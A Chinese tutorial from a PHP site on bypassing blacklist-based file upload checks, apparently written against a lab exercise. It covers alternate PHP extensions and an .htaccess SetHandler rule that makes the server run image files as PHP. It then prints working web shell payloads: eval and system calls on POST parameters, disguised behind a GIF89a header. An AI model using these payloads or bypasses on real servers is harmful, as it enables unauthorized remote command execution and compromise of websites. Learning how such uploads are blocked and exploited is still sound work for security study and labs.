文件上传绕过黑名单的方法
- 不言原创
- 2018-07-05 14:13:106121浏览
这篇文章主要介绍了关于文件上传绕过黑名单的方法，有着一定的参考价值，现在分享给大家，有需要的朋友可以参考一下
本关主要通过设置上传后缀，限制asp，php，jsp 等后缀，不允许上传。
姿势一：本次绕过方式为修改后缀为.php3,php5等，这里是黑名单验证('.asp','.aspx','.php','.jsp')，我们可上传php3,php5...等这样可以被服务器解析的后缀名
姿势二：重写文件解析规则绕过
1、先上传先上传一个名为.htaccess文件，内容如下：
b2e2805617ef490b40a5c5eab43c93e0
SetHandler application/x-httpd-php
d4f50085796fcbc8b99545763f01d848
2、上传1.jpg脚本
内容：
GIF89a
<?php eval($_POST['joker']);?>
<%eval request("joker")%>
<?php system($_POST['cmd']);?>
<span style='margin: 0px; padding: 0px; color: #ff00ff; line-height: 1.5 !important; font-family: "Courier New" !important; font-size: 12px !important'><br>最后查看结果如下：<br><img src="https://img.php.cn/upload/article/000/000/009/8c177c6b99f31ac79c542a12d4053de9-3.png" alt=""><br></span>
以上就是本文的全部内容，希望对大家的学习有所帮助，更多相关内容请关注PHP中文网！
相关推荐：
以上是文件上传绕过黑名单的方法的详细内容。更多信息请关注PHP中文网其他相关文章！
声明：
本文内容由网友自发贡献，版权归原作者所有，本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容，请联系admin@php.cn
上一篇：PHP后台评论的实现下一篇：laravel在终端中查看日志的方法